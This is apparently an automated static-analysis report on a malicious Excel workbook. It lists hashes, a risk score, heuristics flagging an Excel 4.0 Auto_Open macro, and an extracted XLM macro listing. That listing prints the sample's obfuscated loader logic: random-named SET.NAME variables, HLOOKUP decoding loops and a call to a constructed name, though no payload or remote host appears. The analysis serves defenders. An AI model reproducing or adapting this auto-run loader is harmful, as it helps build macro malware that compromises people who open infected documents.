Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b99b03139dafd1b7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:24 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 7a87a2ea15a68894aa15a0ca4249ad73 SHA-1: 316c8762daf8ec141570c3eb89afa5397796b2b1 SHA-256: b99b03139dafd1b744c961ad024dcc145c857618daa0c2c5e838aca0d378ccf8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6856 bytes
SHA-256: 5c70df707cf0e4d7b30d5d0e2a444e86bb8a41c3d43e3c99134405b9743d058a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  DFWqOsU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F182 
' 0018     21 LABEL : Cell Value, String Constant - ayaViC len=0 
' 0018     20 LABEL : Cell Value, String Constant - FwCQh len=0 
' 0018     27 LABEL : Cell Value, String Constant - fyIRNWlzStdu len=0 
' 0018     25 LABEL : Cell Value, String Constant - gGjQoODRLV len=0 
' 0018     26 LABEL : Cell Value, String Constant - GlMGBmgkfmF len=0 
' 0018     25 LABEL : Cell Value, String Constant - gyjJdxieNA len=0 
' 0018     24 LABEL : Cell Value, String Constant - HDzlwcbBr len=0 
' 0018     27 LABEL : Cell Value, String Constant - ioIQsWiOAYak len=0 
' 0018     23 LABEL : Cell Value, String Constant - JdbmICAf len=0 
' 0018     22 LABEL : Cell Value, String Constant - kQIBAbX len=0 
' 0018     24 LABEL : Cell Value, String Constant - MLvyOScfx len=0 
' 0018     25 LABEL : Cell Value, String Constant - nLOfFzQueV len=0 
' 0018     20 LABEL : Cell Value, String Constant - Nzlwl len=0 
' 0018     21 LABEL : Cell Value, String Constant - qjfrvc len=0 
' 0018     22 LABEL : Cell Value, String Constant - SeCSund len=0 
' 0018     20 LABEL : Cell Value, String Constant - USyRw len=0 
' 0018     26 LABEL : Cell Value, String Constant - UumVrRtCXDU len=0 
' 0018     26 LABEL : Cell Value, String Constant - VOvvoqOuDxe len=0 
' 0018     24 LABEL : Cell Value, String Constant - YEechgFUA len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZewozlmJDGSS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  DFWqOsU,Q41,"",255.00000000000000000000
'  DFWqOsU,Q42,"",987.00000000000000000000
'  DFWqOsU,Q43,"",149.00000000000000000000
'  DFWqOsU,Q44,"",73.00000000000000000000
'  DFWqOsU,Q45,"",261.00000000000000000000
'  DFWqOsU,Q46,"",546.00000000000000000000
'  DFWqOsU,F91,"SET.NAME("VOvvoqOuDxe",0+VALUE("0"))",""
'  DFWqOsU,F95,"SET.NAME("gGjQoODRLV",VOvvoqOuDxe)",""
'  DFWqOsU,F100,"SET.NAME("FwCQh",VOvvoqOuDxe)",""
'  DFWqOsU,F104,"SET.NAME("UumVrRtCXDU",COUNTA(YEechgFUA))",""
'  DFWqOsU,F106,"SET.NAME("nLOfFzQueV",COUNTA(HDzlwcbBr))",""
'  DFWqOsU,F110,[],""
'  DFWqOsU,F114,"SET.NAME("SeCSund","")",""
'  DFWqOsU,F118,"gGjQoODRLV",""
'  DFWqOsU,F123,"SET.NAME("GlMGBmgkfmF",HLOOKUP("*",YEechgFUA,gGjQoODRLV,FALSE))",""
'  DFWqOsU,F125,"JdbmICAf",""
'  DFWqOsU,F128,"SET.NAME("ZewozlmJDGSS",VOvvoqOuDxe)",""
'  DFWqOsU,F132,[],""
'  DFWqOsU,F136,"ZewozlmJDGSS",""
'  DFWqOsU,F140,"qjfrvc",""
'  DFWqOsU,F142,"USyRw",""
'  DFWqOsU,F146,"kQIBAbX",""
'  DFWqOsU,F151,"SET.NAME("MLvyOScfx",VALUE(HLOOKUP("*",HDzlwcbBr,kQIBAbX,FALSE)))",""
'  DFWqOsU,F153,"Nzlwl",""
'  DFWqOsU,F158,"SeCSund",""
'  DFWqOsU,F161,"FwCQh",""
'  DFWqOsU,F164,NEXT(),""
'  DFWqOsU,F168,"ayaViC",""
'  DFWqOsU,F170,[],""
'  DFWqOsU,F175,"fyIRNWlzStdu",""
'  DFWqOsU,F177,NEXT(),""
'  DFWqOsU,F180,RETURN(),""
'  DFWqOsU,F205,"SET.NAME("ioIQsWiOAYak",F91)",""
'  DFWqOsU,F210,"YEechgFUA",""
'  DFWqOsU,F213,"SET.NAME("HDzlwcbBr",R89C13)",""
'  DFWqOsU,F215,"SET.NAME("fyIRNWlzStdu",224)",""
'  DFWqOsU,F220,"SET.NAME("gyjJdxieNA",6)",""
'  DFWqOsU,F223,ioIQsWiOAYak(),""
'  DFWqOsU,F224,HALT(),""

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